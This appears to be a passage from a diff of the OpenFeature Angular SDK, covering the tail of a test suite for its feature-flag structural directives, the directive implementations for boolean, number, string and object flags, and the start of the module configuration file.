*booleanFeatureFlag="specialFlagKey; default: true; else: elseTemplate; domain: domain"
class="flag-status"
>
Flag On
</div>
<ng-template #elseTemplate>
<div class="flag-status">Flag Off</div>
</ng-template>
</div>
<div class="case-7">
<div
*numberFeatureFlag="'test-flag'; default: 0; value: 1; else: elseTemplate; domain: domain"
class="flag-status"
>
Flag On
</div>
<ng-template #elseTemplate>
<div class="flag-status">Flag Off</div>
</ng-template>
</div>
<div class="case-8">
<div
*stringFeatureFlag="'test-flag'; default: 'default'; value: 'on'; else: elseTemplate; domain: domain"
class="flag-status"
>
Flag On
</div>
<ng-template #elseTemplate>
<div class="flag-status">Flag Off</div>
</ng-template>
</div>
<div class="case-9">
<div
*objectFeatureFlag="
'test-flag';
default: {};
value: { prop2: true, prop1: true };
else: elseTemplate;
domain: domain
"
class="flag-status"
>
Flag On
</div>
<ng-template #elseTemplate>
<div class="flag-status">Flag Off</div>
</ng-template>
</div>
<div class="case-10">
<div
*booleanFeatureFlag="
'test-flag';
default: false;
domain: domain;
else: elseTemplateWithContext;
let value;
let evaluationDetails = evaluationDetails
"
class="flag-status"
>
then {{ value }} {{ evaluationDetails.reason }}
</div>
<ng-template #elseTemplateWithContext let-value let-evaluationDetails="evaluationDetails">
<div class="flag-status">else {{ value }} {{ evaluationDetails.reason }}</div>
</ng-template>
</div>
<div class="case-11">
<div
*stringFeatureFlag="'test-flag'; default: 'default'; domain: domain; let value = $implicit"
class="flag-status"
>
{{ value }}
</div>
</div>
<div class="case-12">
<div
*booleanFeatureFlag="
'test-flag';
default: true;
else: elseTemplate;
domain: domain;
updateOnConfigurationChanged: false
"
class="flag-status"
>
Flag On
</div>
<ng-template #elseTemplate>
<div class="flag-status">Flag Off</div>
</ng-template>
</div>
</ng-container>
`,
})
class TestComponent {
@Input() domain: string;
@Input() specialFlagKey: string = 'test-flag';
protected readonly JSON = JSON;
}
describe('FeatureFlagDirective', () => {
describe('thenTemplate', () => {
it('should not be rendered if disabled by the flag', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: false },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectAmountElements(fixture, 'case-1', 0);
});
it('should be rendered if enabled by the flag', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-2', 'Flag On');
});
});
describe('elseTemplate', () => {
it('should not be rendered if not existent but enabled by the flag', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: false },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectAmountElements(fixture, 'case-1', 0);
});
it('should not be rendered if existent but disabled by the flag', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-2', 'Flag On');
});
it('should be rendered if existent and enabled by the flag', async () => {
const { fixture, provider } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-2', 'Flag On');
await updateFlagValue(provider, false);
fixture.detectChanges(); // Ensure change detection after flag update
await expectRenderedText(fixture, 'case-2', 'Flag Off');
});
});
describe('initializingTemplate', () => {
it('should not be rendered if provider is ready', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-3', 'Flag On');
});
it('should be rendered if provider is not ready', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
providerInitDelay: 1000,
});
await expectRenderedText(fixture, 'case-3', 'Initializing');
});
it('should render until the provider is initialized', async () => {
const { fixture, client } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
providerInitDelay: 1000,
});
await expectRenderedText(fixture, 'case-3', 'Initializing');
await waitForClientReady(client);
await expectRenderedText(fixture, 'case-3', 'Flag On');
});
});
describe('reconcilingTemplate', () => {
it('should not be rendered if provider is ready', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-3', 'Flag On');
});
it('should be rendered while provider is reconciling', async () => {
const { fixture, domain, client } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
providerInitDelay: 500,
});
await waitForClientReady(client);
await expectRenderedText(fixture, 'case-4', 'Flag On');
const setContextPromise = OpenFeature.setContext(domain, { newCtx: true });
await expectRenderedText(fixture, 'case-4', 'Reconciling');
await setContextPromise;
await expectRenderedText(fixture, 'case-4', 'Flag On');
});
});
describe('complex case', () => {
it('should use initializing, then, else and reconciling in one go', async () => {
const { fixture, provider, client, domain } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
providerInitDelay: 500,
});
// Initializing
await expectRenderedText(fixture, 'case-5', 'Initializing');
await waitForClientReady(client);
await expectRenderedText(fixture, 'case-5', 'Flag On');
// Updating
await updateFlagValue(provider, false);
await expectRenderedText(fixture, 'case-5', 'Flag Off');
// Reconciling
const setContextPromise = OpenFeature.setContext(domain, { newCtx: true });
await expectRenderedText(fixture, 'case-5', 'Reconciling');
await setContextPromise;
await expectRenderedText(fixture, 'case-5', 'Flag Off');
// Updating 2
await updateFlagValue(provider, true);
await expectRenderedText(fixture, 'case-5', 'Flag On');
});
it('should evaluate on flag key change', async () => {
const { fixture, client } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
'new-test-flag': {
variants: { default: false },
defaultVariant: 'default',
disabled: false,
},
},
});
await waitForClientReady(client);
await expectRenderedText(fixture, 'case-6', 'Flag On');
fixture.componentRef.setInput('specialFlagKey', 'new-test-flag');
await fixture.whenStable();
await expectRenderedText(fixture, 'case-6', 'Flag Off');
});
it('should opt-out of re-rendering when flag value changes', async () => {
const { fixture, client, provider } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
'new-test-flag': {
variants: { default: false },
defaultVariant: 'default',
disabled: false,
},
},
});
await waitForClientReady(client);
await expectRenderedText(fixture, 'case-12', 'Flag On');
await updateFlagValue(provider, false);
await expectRenderedText(fixture, 'case-12', 'Flag On');
});
it('should evaluate on flag domain change', async () => {
const { fixture, client } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
});
await waitForClientReady(client);
await expectRenderedText(fixture, 'case-6', 'Flag On');
const newDomain = v4();
const newProvider = new TestingProvider(
{
'test-flag': {
variants: { default: false },
defaultVariant: 'default',
disabled: false,
},
},
0,
);
await OpenFeature.setProviderAndWait(newDomain, newProvider);
fixture.componentRef.setInput('domain', newDomain);
await fixture.whenStable();
await expectRenderedText(fixture, 'case-6', 'Flag Off');
});
});
describe('numberFeatureFlag', () => {
it('should render thenTemplate on match and else elseTemplate ', async () => {
const { fixture, provider } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: 1 },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-7', 'Flag On');
await updateFlagValue(provider, 2);
await expectRenderedText(fixture, 'case-7', 'Flag Off');
});
});
describe('stringFeatureFlag', () => {
it('should render thenTemplate on match and else elseTemplate ', async () => {
const { fixture, provider } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: 'on' },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-8', 'Flag On');
await updateFlagValue(provider, 'another-value');
await expectRenderedText(fixture, 'case-8', 'Flag Off');
});
});
describe('objectFeatureFlag', () => {
it('should render thenTemplate on match and else elseTemplate', async () => {
const { fixture, provider } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: { prop1: true, prop2: true } },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-9', 'Flag On');
await updateFlagValue(provider, { prop2: 'string' });
await expectRenderedText(fixture, 'case-9', 'Flag Off');
});
});
describe('context', () => {
it('should render thenTemplate from context', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-10', 'then true STATIC');
});
it('should render elseTemplate from context', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: false },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-10', 'else false STATIC');
});
it('should always render if no expected value is given', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: 'flag-value' },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-11', 'flag-value');
});
});
});
async function createTestingModule(config?: {
flagConfiguration?: ConstructorParameters<typeof InMemoryProvider>[0];
providerInitDelay?: number;
}): Promise<{ fixture: ComponentFixture<TestComponent>; provider: TestingProvider; domain: string; client: Client }> {
const domain = v4();
const provider = new TestingProvider(config?.flagConfiguration ?? {}, config?.providerInitDelay ?? 0);
const fixture = TestBed.configureTestingModule({
imports: [
OpenFeatureModule.forRoot({ provider: new InMemoryProvider(), domainBoundProviders: { [domain]: provider } }),
TestComponent,
],
}).createComponent(TestComponent);
fixture.componentRef.setInput('domain', domain);
await fixture.whenStable();
const client = OpenFeature.getClient(domain);
if (!config.providerInitDelay) {
await waitForClientReady(client);
}
return { provider, domain, client, fixture };
}
async function waitForClientReady(client: Client) {
await new Promise((resolve) => client.addHandler(ClientProviderEvents.Ready, resolve));
}
async function updateFlagValue<T extends FlagValue>(provider: TestingProvider, value: T) {
await provider.putConfiguration({
'test-flag': {
variants: { default: value },
defaultVariant: 'default',
disabled: false,
},
});
}
async function getElements(fixture: ComponentFixture<TestComponent>, testCase: string) {
fixture.detectChanges();
await fixture.whenStable();
return fixture.debugElement.queryAll(By.css(`.${testCase} .flag-status`));
}
async function expectAmountElements(fixture: ComponentFixture<TestComponent>, testCase: string, amount: number) {
const divElements = await getElements(fixture, testCase);
expect(divElements.length).toEqual(amount);
}
async function expectRenderedText(fixture: ComponentFixture<TestComponent>, testCase: string, rendered: string) {
const divElements = await getElements(fixture, testCase);
expect(divElements.length).toEqual(1);
expect(divElements[0].nativeElement.textContent.trim()).toBe(rendered);
}

View File

@ -0,0 +1,706 @@
import {
ChangeDetectorRef,
Directive,
EmbeddedViewRef,
Input,
OnChanges,
OnDestroy,
OnInit,
TemplateRef,
ViewContainerRef,
inject,
} from '@angular/core';
import {
Client,
ClientProviderEvents,
ClientProviderStatus,
EvaluationDetails,
EventHandler,
FlagValue,
JsonValue,
OpenFeature,
} from '@openfeature/web-sdk';
class FeatureFlagDirectiveContext<T extends FlagValue> {
$implicit!: T;
evaluationDetails: EvaluationDetails<T>;
constructor(details: EvaluationDetails<T>) {
this.$implicit = details.value;
this.evaluationDetails = details;
}
}
@Directive({
standalone: true,
selector: '[featureFlag]',
})
export abstract class FeatureFlagDirective<T extends FlagValue> implements OnInit, OnDestroy, OnChanges {
protected _changeDetectorRef: ChangeDetectorRef;
protected _viewContainerRef: ViewContainerRef;
protected _featureFlagDefault: T;
protected _featureFlagDomain: string | undefined;
protected _featureFlagKey: string;
protected _featureFlagValue?: T;
protected _client: Client;
protected _lastEvaluationResult: EvaluationDetails<T>;
protected _readyHandler: EventHandler<ClientProviderEvents.Ready> | null = null;
protected _flagChangeHandler: EventHandler<ClientProviderEvents.ConfigurationChanged> | null = null;
protected _contextChangeHandler: EventHandler<ClientProviderEvents.Error> | null = null;
protected _reconcilingHandler: EventHandler<ClientProviderEvents.Reconciling> | null = null;
protected _updateOnContextChanged: boolean = true;
protected _updateOnConfigurationChanged: boolean = true;
protected _thenTemplateRef: TemplateRef<FeatureFlagDirectiveContext<T>> | null;
protected _thenViewRef: EmbeddedViewRef<unknown> | null;
protected _elseTemplateRef: TemplateRef<FeatureFlagDirectiveContext<T>> | null;
protected _elseViewRef: EmbeddedViewRef<unknown> | null;
protected _initializingTemplateRef: TemplateRef<FeatureFlagDirectiveContext<T>> | null;
protected _initializingViewRef: EmbeddedViewRef<unknown> | null;
protected _reconcilingTemplateRef: TemplateRef<FeatureFlagDirectiveContext<T>> | null;
protected _reconcilingViewRef: EmbeddedViewRef<unknown> | null;
protected constructor() {}
set featureFlagDomain(domain: string | undefined) {
/**
* We have to handle the change of the domain explicitly because we need to get a new client when the domain changes.
* This can not be done if we simply relay the onChanges method.
*/
this._featureFlagDomain = domain;
this.initClient();
}
ngOnInit(): void {
this.initClient();
}
ngOnChanges(): void {
this._flagChangeHandler?.();
}
ngOnDestroy(): void {
if (this._client) {
this.disposeClient(this._client);
this._client = null;
}
}
private initClient(): void {
if (this._client) {
this.disposeClient(this._client);
}
this._client = OpenFeature.getClient(this._featureFlagDomain);
const baseHandler = () => {
const result = this.getFlagDetails(this._featureFlagKey, this._featureFlagDefault);
this.onFlagValue(result, this._client.providerStatus);
};
this._flagChangeHandler = () => {
if (this._updateOnConfigurationChanged) {
baseHandler();
}
};
this._contextChangeHandler = () => {
if (this._updateOnContextChanged) {
baseHandler();
}
};
this._readyHandler = () => baseHandler();
this._reconcilingHandler = () => baseHandler();
this._client.addHandler(ClientProviderEvents.ConfigurationChanged, this._flagChangeHandler);
this._client.addHandler(ClientProviderEvents.ContextChanged, this._contextChangeHandler);
this._client.addHandler(ClientProviderEvents.Ready, this._readyHandler);
this._client.addHandler(ClientProviderEvents.Reconciling, this._reconcilingHandler);
}
private disposeClient(client: Client) {
if (this._contextChangeHandler()) {
client.removeHandler(ClientProviderEvents.ContextChanged, this._contextChangeHandler);
}
if (this._flagChangeHandler) {
client.removeHandler(ClientProviderEvents.ConfigurationChanged, this._flagChangeHandler);
}
if (this._readyHandler) {
client.removeHandler(ClientProviderEvents.Ready, this._readyHandler);
}
if (this._reconcilingHandler) {
client.removeHandler(ClientProviderEvents.Reconciling, this._reconcilingHandler);
}
}
protected getFlagDetails(flagKey: string, defaultValue: T): EvaluationDetails<T> {
if (typeof defaultValue === 'boolean') {
return this._client.getBooleanDetails(flagKey, defaultValue) as EvaluationDetails<T>;
} else if (typeof defaultValue === 'number') {
return this._client.getNumberDetails(flagKey, defaultValue) as EvaluationDetails<T>;
} else if (typeof defaultValue === 'string') {
return this._client.getStringDetails(flagKey, defaultValue) as EvaluationDetails<T>;
} else {
return this._client.getObjectDetails(flagKey, defaultValue) as EvaluationDetails<T>;
}
}
protected onFlagValue(result: EvaluationDetails<T>, status: ClientProviderStatus): void {
const shouldInitialize = this._initializingTemplateRef && status === ClientProviderStatus.NOT_READY;
const shouldReconcile = this._reconcilingTemplateRef && status === ClientProviderStatus.RECONCILING;
const context = new FeatureFlagDirectiveContext(result);
const resultChanged = !deepEqual(this._lastEvaluationResult, result);
const isValueMatch = !this._featureFlagValue || deepEqual(result.value, this._featureFlagValue);
if (this._initializingViewRef && shouldInitialize && !resultChanged) {
return;
} else if (this._reconcilingViewRef && shouldReconcile && !resultChanged) {
return;
} else if (this._thenViewRef && isValueMatch && !shouldInitialize && !shouldReconcile && !resultChanged) {
return;
} else if (this._elseViewRef && !isValueMatch && !shouldInitialize && !shouldReconcile && !resultChanged) {
return;
}
this._lastEvaluationResult = result;
this._viewContainerRef.clear();
this._initializingViewRef = null;
this._reconcilingViewRef = null;
this._thenViewRef = null;
this._elseViewRef = null;
if (this._initializingTemplateRef && status === ClientProviderStatus.NOT_READY) {
this._initializingViewRef = this._viewContainerRef.createEmbeddedView(this._initializingTemplateRef, context);
} else if (this._reconcilingTemplateRef && status === ClientProviderStatus.RECONCILING) {
this._reconcilingViewRef = this._viewContainerRef.createEmbeddedView(this._reconcilingTemplateRef, context);
} else if (isValueMatch) {
this._thenViewRef = this._viewContainerRef.createEmbeddedView(this._thenTemplateRef, context);
} else if (this._elseTemplateRef) {
this._elseViewRef = this._viewContainerRef.createEmbeddedView(this._elseTemplateRef, context);
}
this._changeDetectorRef.markForCheck();
}
}
/**
* A structural directive that conditionally includes a template based on the evaluation
* of a boolean feature flag.
* When the flag evaluates to true, Angular renders the template provided in a `then` clause,
* and when false, Angular renders the template provided in an optional `else` clause.
* The default template for the `else` clause is blank.
*
* Usage examples:
*
* ```
* <div *booleanFeatureFlag="'flagKey'; default: false; let value">{{ value }}</div>
* ```
* ```
* <div *booleanFeatureFlag="flagKey; default: false; else: elseTemplate">Content to render when flag is true.</div>
* <ng-template #elseTemplate>Content to render when flag is false.</ng-template>
* ```
*
* @usageNotes
*
* You can specify templates for other statuses such as initializing and reconciling.
*
* ```
* <div *booleanFeatureFlag="flagKey; default:true; else: elseTemplate; initializing: initializingTemplate; reconciling: reconcilingTemplate">Content to render when flag is true.</div>
* <ng-template #elseTemplate>Content to render when flag is false.</ng-template>
* <ng-template #initializingTemplate>Loading...</ng-template>
* <ng-template #reconcilingTemplate>Reconfiguring...</ng-template>
* ```
*
*/
@Directive({
standalone: true,
selector: '[booleanFeatureFlag]',
})
export class BooleanFeatureFlagDirective extends FeatureFlagDirective<boolean> implements OnChanges {
override _changeDetectorRef = inject(ChangeDetectorRef);
override _viewContainerRef = inject(ViewContainerRef);
override _thenTemplateRef = inject<TemplateRef<FeatureFlagDirectiveContext<boolean>>>(TemplateRef);
/**
* The key of the boolean feature flag.
*/
@Input({ required: true }) booleanFeatureFlag: string;
/**
* The default value for the boolean feature flag.
*/
@Input({ required: true }) booleanFeatureFlagDefault: boolean;
constructor() {
super();
}
override ngOnChanges() {
this._featureFlagKey = this.booleanFeatureFlag;
this._featureFlagDefault = this.booleanFeatureFlagDefault;
this._featureFlagValue = true;
super.ngOnChanges();
}
/**
* The domain of the boolean feature flag.
*/
@Input({ required: false })
set booleanFeatureFlagDomain(domain: string | undefined) {
super.featureFlagDomain = domain;
}
/**
* Update the component if the provider emits a ConfigurationChanged event.
* Set to false to prevent components from re-rendering when flag value changes
* are received by the associated provider.
* Defaults to true.
*/
@Input({ required: false })
set booleanFeatureFlagUpdateOnConfigurationChanged(enabled: boolean | undefined) {
this._updateOnConfigurationChanged = enabled ?? true;
}
/**
* Update the component when the OpenFeature context changes.
* Set to false to prevent components from re-rendering when attributes which
* may be factors in flag evaluation change.
* Defaults to true.
*/
@Input({ required: false })
set booleanFeatureFlagUpdateOnContextChanged(enabled: boolean | undefined) {
this._updateOnContextChanged = enabled ?? true;
}
/**
* Template to be displayed when the feature flag is false.
*/
@Input()
set booleanFeatureFlagElse(tpl: TemplateRef<FeatureFlagDirectiveContext<boolean>>) {
this._elseTemplateRef = tpl;
}
/**
* Template to be displayed when the provider is not ready.
*/
@Input()
set booleanFeatureFlagInitializing(tpl: TemplateRef<FeatureFlagDirectiveContext<boolean>>) {
this._initializingTemplateRef = tpl;
}
/**
* Template to be displayed when the provider is reconciling.
*/
@Input()
set booleanFeatureFlagReconciling(tpl: TemplateRef<FeatureFlagDirectiveContext<boolean>>) {
this._reconcilingTemplateRef = tpl;
}
}
/**
* A structural directive that conditionally includes a template based on the evaluation
* of a number feature flag.
* When the flag matches the provided value or no expected value is given, Angular renders the template provided
* in a `then` clause, and when it doesn't match, Angular renders the template provided
* in an optional `else` clause.
* The default template for the `else` clause is blank.
*
* Usage examples:
*
* ```
* <div *numberFeatureFlag="'flagKey'; default: 0; let value">{{ value }}</div>
* ```
* ```
* <div *numberFeatureFlag="'flagKey'; value: 1; default: 0; else: elseTemplate">Content to render when flag matches value.</div>
* <ng-template #elseTemplate>Content to render when flag does not match value.</ng-template>
* ```
*
* @usageNotes
*
* You can specify templates for other statuses such as initializing and reconciling.
*
* ```
* <div *numberFeatureFlag="flagKey; default: 0; value: flagValue; else: elseTemplate; initializing: initializingTemplate; reconciling: reconcilingTemplate">Content to render when flag matches value.</div>
* <ng-template #elseTemplate>Content to render when flag does not match value.</ng-template>
* <ng-template #initializingTemplate>Loading...</ng-template>
* <ng-template #reconcilingTemplate>Reconfiguring...</ng-template>
* ```
*
*/
@Directive({
standalone: true,
selector: '[numberFeatureFlag]',
})
export class NumberFeatureFlagDirective extends FeatureFlagDirective<number> implements OnChanges {
override _changeDetectorRef = inject(ChangeDetectorRef);
override _viewContainerRef = inject(ViewContainerRef);
override _thenTemplateRef = inject<TemplateRef<FeatureFlagDirectiveContext<number>>>(TemplateRef);
/**
* The key of the number feature flag.
*/
@Input({ required: true }) numberFeatureFlag: string;
/**
* The default value for the number feature flag.
*/
@Input({ required: true }) numberFeatureFlagDefault: number;
/**
* The expected value of this number feature flag, for which the `then` template should be rendered.
*/
@Input({ required: false }) numberFeatureFlagValue?: number;
constructor() {
super();
}
override ngOnChanges() {
this._featureFlagKey = this.numberFeatureFlag;
this._featureFlagDefault = this.numberFeatureFlagDefault;
this._featureFlagValue = this.numberFeatureFlagValue;
super.ngOnChanges();
}
/**
* The domain of the number feature flag.
*/
@Input({ required: false })
set numberFeatureFlagDomain(domain: string | undefined) {
super.featureFlagDomain = domain;
}
/**
* Update the component if the provider emits a ConfigurationChanged event.
* Set to false to prevent components from re-rendering when flag value changes
* are received by the associated provider.
* Defaults to true.
*/
@Input({ required: false })
set numberFeatureFlagUpdateOnConfigurationChanged(enabled: boolean | undefined) {
this._updateOnConfigurationChanged = enabled ?? true;
}
/**
* Update the component when the OpenFeature context changes.
* Set to false to prevent components from re-rendering when attributes which
* may be factors in flag evaluation change.
* Defaults to true.
*/
@Input({ required: false })
set numberFeatureFlagUpdateOnContextChanged(enabled: boolean | undefined) {
this._updateOnContextChanged = enabled ?? true;
}
/**
* Template to be displayed when the feature flag does not match value.
*/
@Input()
set numberFeatureFlagElse(tpl: TemplateRef<FeatureFlagDirectiveContext<number>>) {
this._elseTemplateRef = tpl;
}
/**
* Template to be displayed when the feature flag is not ready.
*/
@Input()
set numberFeatureFlagInitializing(tpl: TemplateRef<FeatureFlagDirectiveContext<number>>) {
this._initializingTemplateRef = tpl;
}
/**
* Template to be displayed when the feature flag is not ready.
*/
@Input()
set numberFeatureFlagReconciling(tpl: TemplateRef<FeatureFlagDirectiveContext<number>>) {
this._reconcilingTemplateRef = tpl;
}
}
/**
* A structural directive that conditionally includes a template based on the evaluation
* of a string feature flag.
* When the flag matches the provided value or no expected value is given, Angular renders the template provided
* in a `then` clause, and when it doesn't match, Angular renders the template provided
* in an optional `else` clause.
* The default template for the `else` clause is blank.
*
* Usage examples:
*
* ```
* <div *stringFeatureFlag="'flagKey'; default: 'default'; let value">{{ value }}</div>
* ```
* ```
* <div *stringFeatureFlag="flagKey; default: 'default'; value: flagValue; else: elseTemplate">Content to render when flag matches value.</div>
* <ng-template #elseTemplate>Content to render when flag does not match value.</ng-template>
* ```
*
* @usageNotes
*
* You can specify templates for other statuses such as initializing and reconciling.
*
* ```
* <div *stringFeatureFlag="flagKey; default: 'default'; value: flagValue; else: elseTemplate; initializing: initializingTemplate; reconciling: reconcilingTemplate">Content to render when flag matches value.</div>
* <ng-template #elseTemplate>Content to render when flag does not match value.</ng-template>
* <ng-template #initializingTemplate>Loading...</ng-template>
* <ng-template #reconcilingTemplate>Reconfiguring...</ng-template>
* ```
*
*/
@Directive({
standalone: true,
selector: '[stringFeatureFlag]',
})
export class StringFeatureFlagDirective extends FeatureFlagDirective<string> implements OnChanges {
override _changeDetectorRef = inject(ChangeDetectorRef);
override _viewContainerRef = inject(ViewContainerRef);
override _thenTemplateRef = inject<TemplateRef<FeatureFlagDirectiveContext<string>>>(TemplateRef);
/**
* The key of the string feature flag.
*/
@Input({ required: true }) stringFeatureFlag: string;
/**
* The default value for the string feature flag.
*/
@Input({ required: true }) stringFeatureFlagDefault: string;
/**
* The expected value of this string feature flag, for which the `then` template should be rendered.
*/
@Input({ required: false }) stringFeatureFlagValue?: string;
constructor() {
super();
}
override ngOnChanges() {
this._featureFlagKey = this.stringFeatureFlag;
this._featureFlagDefault = this.stringFeatureFlagDefault;
this._featureFlagValue = this.stringFeatureFlagValue;
super.ngOnChanges();
}
/**
* The domain for the string feature flag.
*/
@Input({ required: false })
set stringFeatureFlagDomain(domain: string | undefined) {
super.featureFlagDomain = domain;
}
/**
* Update the component if the provider emits a ConfigurationChanged event.
* Set to false to prevent components from re-rendering when flag value changes
* are received by the associated provider.
* Defaults to true.
*/
@Input({ required: false })
set stringFeatureFlagUpdateOnConfigurationChanged(enabled: boolean | undefined) {
this._updateOnConfigurationChanged = enabled ?? true;
}
/**
* Update the component when the OpenFeature context changes.
* Set to false to prevent components from re-rendering when attributes which
* may be factors in flag evaluation change.
* Defaults to true.
*/
@Input({ required: false })
set stringFeatureFlagUpdateOnContextChanged(enabled: boolean | undefined) {
this._updateOnContextChanged = enabled ?? true;
}
/**
* Template to be displayed when the feature flag does not match value.
*/
@Input()
set stringFeatureFlagElse(tpl: TemplateRef<FeatureFlagDirectiveContext<string>>) {
this._elseTemplateRef = tpl;
}
/**
* Template to be displayed when the feature flag is not ready.
*/
@Input()
set stringFeatureFlagInitializing(tpl: TemplateRef<FeatureFlagDirectiveContext<string>>) {
this._initializingTemplateRef = tpl;
}
/**
* Template to be displayed when the feature flag is reconciling.
*/
@Input()
set stringFeatureFlagReconciling(tpl: TemplateRef<FeatureFlagDirectiveContext<string>>) {
this._reconcilingTemplateRef = tpl;
}
}
/**
* A structural directive that conditionally includes a template based on the evaluation
* of an object feature flag.
* When the flag matches the provided value or no expected value is given, Angular renders the template provided
* in a `then` clause, and when it doesn't match, Angular renders the template provided
* in an optional `else` clause.
* The default template for the `else` clause is blank.
*
* Usage examples:
*
* ```
* <div *objectFeatureFlag="'flagKey'; default: {}; let value">{{ value }}</div>
* ```
* ```
* <div *objectFeatureFlag="flagKey; default: {}; value: flagValue; else: elseTemplate">Content to render when flag matches value.</div>
* <ng-template #elseTemplate>Content to render when flag does not match value.</ng-template>
* ```
*
* @usageNotes
*
* You can specify templates for other statuses such as initializing and reconciling.
*
* ```
* <div *objectFeatureFlag="flagKey; default: {}; value: flagValue; else: elseTemplate; initializing: initializingTemplate; reconciling: reconcilingTemplate">Content to render when flag matches value.</div>
* <ng-template #elseTemplate>Content to render when flag does not match value.</ng-template>
* <ng-template #initializingTemplate>Loading...</ng-template>
* <ng-template #reconcilingTemplate>Reconfiguring...</ng-template>
* ```
*
*/
@Directive({
standalone: true,
selector: '[objectFeatureFlag]',
})
export class ObjectFeatureFlagDirective<T extends JsonValue> extends FeatureFlagDirective<T> implements OnChanges {
override _changeDetectorRef = inject(ChangeDetectorRef);
override _viewContainerRef = inject(ViewContainerRef);
override _thenTemplateRef = inject<TemplateRef<FeatureFlagDirectiveContext<T>>>(TemplateRef);
/**
* The key of the object feature flag.
*/
@Input({ required: true }) objectFeatureFlag: string;
/**
* The default value for the object feature flag.
*/
@Input({ required: true }) objectFeatureFlagDefault: T;
/**
* The expected value of this object feature flag, for which the `then` template should be rendered.
*/
@Input({ required: false }) objectFeatureFlagValue?: T;
constructor() {
super();
}
override ngOnChanges() {
this._featureFlagKey = this.objectFeatureFlag;
this._featureFlagDefault = this.objectFeatureFlagDefault;
this._featureFlagValue = this.objectFeatureFlagValue;
super.ngOnChanges();
}
/**
* The domain for the object feature flag.
*/
@Input({ required: false })
set objectFeatureFlagDomain(domain: string | undefined) {
super.featureFlagDomain = domain;
}
/**
* Update the component if the provider emits a ConfigurationChanged event.
* Set to false to prevent components from re-rendering when flag value changes
* are received by the associated provider.
* Defaults to true.
*/
@Input({ required: false })
set objectFeatureFlagUpdateOnConfigurationChanged(enabled: boolean | undefined) {
this._updateOnConfigurationChanged = enabled ?? true;
}
/**
* Update the component when the OpenFeature context changes.
* Set to false to prevent components from re-rendering when attributes which
* may be factors in flag evaluation change.
* Defaults to true.
*/
@Input({ required: false })
set objectFeatureFlagUpdateOnContextChanged(enabled: boolean | undefined) {
this._updateOnContextChanged = enabled ?? true;
}
/**
* Template to be displayed when the feature flag does not match value.
*/
@Input()
set objectFeatureFlagElse(tpl: TemplateRef<FeatureFlagDirectiveContext<T>>) {
this._elseTemplateRef = tpl;
}
/**
* Template to be displayed when the feature flag is not ready.
*/
@Input()
set objectFeatureFlagInitializing(tpl: TemplateRef<FeatureFlagDirectiveContext<T>>) {
this._initializingTemplateRef = tpl;
}
/**
* Template to be displayed when the feature flag is reconciling.
*/
@Input()
set objectFeatureFlagReconciling(tpl: TemplateRef<FeatureFlagDirectiveContext<T>>) {
this._reconcilingTemplateRef = tpl;
}
}
// eslint-disable-next-line @typescript-eslint/no-explicit-any
function deepEqual(obj1: any, obj2: any): boolean {
if (obj1 === obj2) {
// If both objects are identical
return true;
}
if (typeof obj1 !== 'object' || obj1 === null || typeof obj2 !== 'object' || obj2 === null) {
// One of them is not an object or one of them is null
return false;
}
const keys1 = Object.keys(obj1);
const keys2 = Object.keys(obj2);
if (keys1.length !== keys2.length) {
// Different number of properties
return false;
}
for (const key of keys1) {
if (!keys2.includes(key)) {
// obj2 does not have a property that obj1 has
return false;
}
// Recursive check for each property
if (!deepEqual(obj1[key], obj2[key])) {
return false;
}
}
return true;
}

View File

@ -0,0 +1,36 @@
import { InjectionToken, ModuleWithProviders, NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { EvaluationContext, OpenFeature, Provider } from '@openfeature/web-sdk';
export type EvaluationContextFactory = () => EvaluationContext;
export interface OpenFeatureConfig {
provider: Provider;
domainBoundProviders?: Record<string, Provider>;
context?: EvaluationContext | EvaluationContextFactory;
}
